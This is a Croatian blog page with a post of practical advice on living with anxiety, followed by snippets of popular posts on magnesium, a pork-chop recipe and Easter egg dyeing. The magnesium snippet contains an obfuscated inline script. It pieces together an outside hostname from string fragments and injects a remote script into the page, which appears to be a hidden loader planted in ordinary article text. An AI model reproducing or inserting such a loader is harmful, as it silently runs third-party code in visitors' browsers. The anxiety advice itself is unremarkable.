TJESKOBA NIJE BAUK




Tjeskoba nije bauk 



Kada nas preplavi tjeskoba najčešće želimo samo jedno - da neugodan osjećaj što prije nestane. Počinjemo analizirati vlastite misli, osluškivati tijelo, tražiti uzroke nemira ili izbjegavati situacije koje u nama izazivaju strah. No upravo takve reakcije mogu postati zamka koja tjeskobu dodatno pojačava.





Zlatno pravilo 


Činite ono što biste činili u tom trenutku da niste tjeskobni, savjetuje Fletcher. Na prvi pogled ovaj savjet može zvučati neobično. Kada osjećamo tjeskobu čini se sasvim logičnim zaustaviti se, povući ili pričekati da neugodni osjećaji prođu. Međutim, upravo takvim ponašanjem možemo naučiti mozak da je tjeskoba nešto opasno što po svaku cijenu treba izbjeći. 

Još jedno važno pravilo jest da tjeskobu ne postavljamo u središte svih svojih iskustava. Kada se pretjerano usmjerimo na vlastite simptome počinjemo neprestano provjeravati kako se osjećamo. Pokušajte pažnju preusmjeriti na život koji se odvija oko vas. Ako ste planirali ručak s prijateljima otiđite na ručak. Ako ste željeli otići u šetnju krenite u šetnju. Ne čekajte da tjeskoba prođe kako biste počeli živjeti.





Zašto ovaj pristup djeluje?

Tjeskoba je povezana s načinom na koji mozak procjenjuje potencijanu opasnost. Kada se zbog tjeskobe počnemo povlačiti ili izbjegavati određene situacije mozgu možemo poslati poruku da je opasnost zaista postojala. No, ako ostanemo u situaciji koja nije stvarno opasna i pritom iskusimo da se ništa loše nije dogodilo mozak postupno dobiva nove informacije. S vremenom može naučiti da sama tjeskoba nije znak stvarne prijetnje. To naravno ne znači da će tjeskoba nestati preko noći. Riječ je o procesu koji zahtijeva strpljenje i niz malih koraka. No upravo takva iskustva mogu pomoći stvoriti nove obrasce reagiranja i smanjiti doživljaj opasnosti.





Hrabrost nije izostanak straha 

U borbi s tjeskobom često mislimo da se najprije moramo smiriti kako bismo uopće mogli nešto učiniti. U stvarnosti je nerijetko upravo suprotno. Hrabrost ne znači da ne osjećamo strah. Hrabrost znači napraviti korak naprijed unatoč njemu. Ako ste na sigurnom i situacija u kojoj se nalazite zapravo nije opasna pokušajte učiniti ono što biste učinili i da niste tjeskobni. U početku može biti teško, ali time svom mozgu dajete priliku da nauči nešto novo. Neugodni osjećaji dolaze i prolaze, a vi ih možete podnijeti. Upravo to može biti jedan od važnih koraka prema drugačijem odnosu prema tjeskobi  - ne pokušavajte je po svaku cijenu ukloniti nego naučite da možete nastaviti živjeti i dok je osjećate.





Pripremila: Ivana Matas 






Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više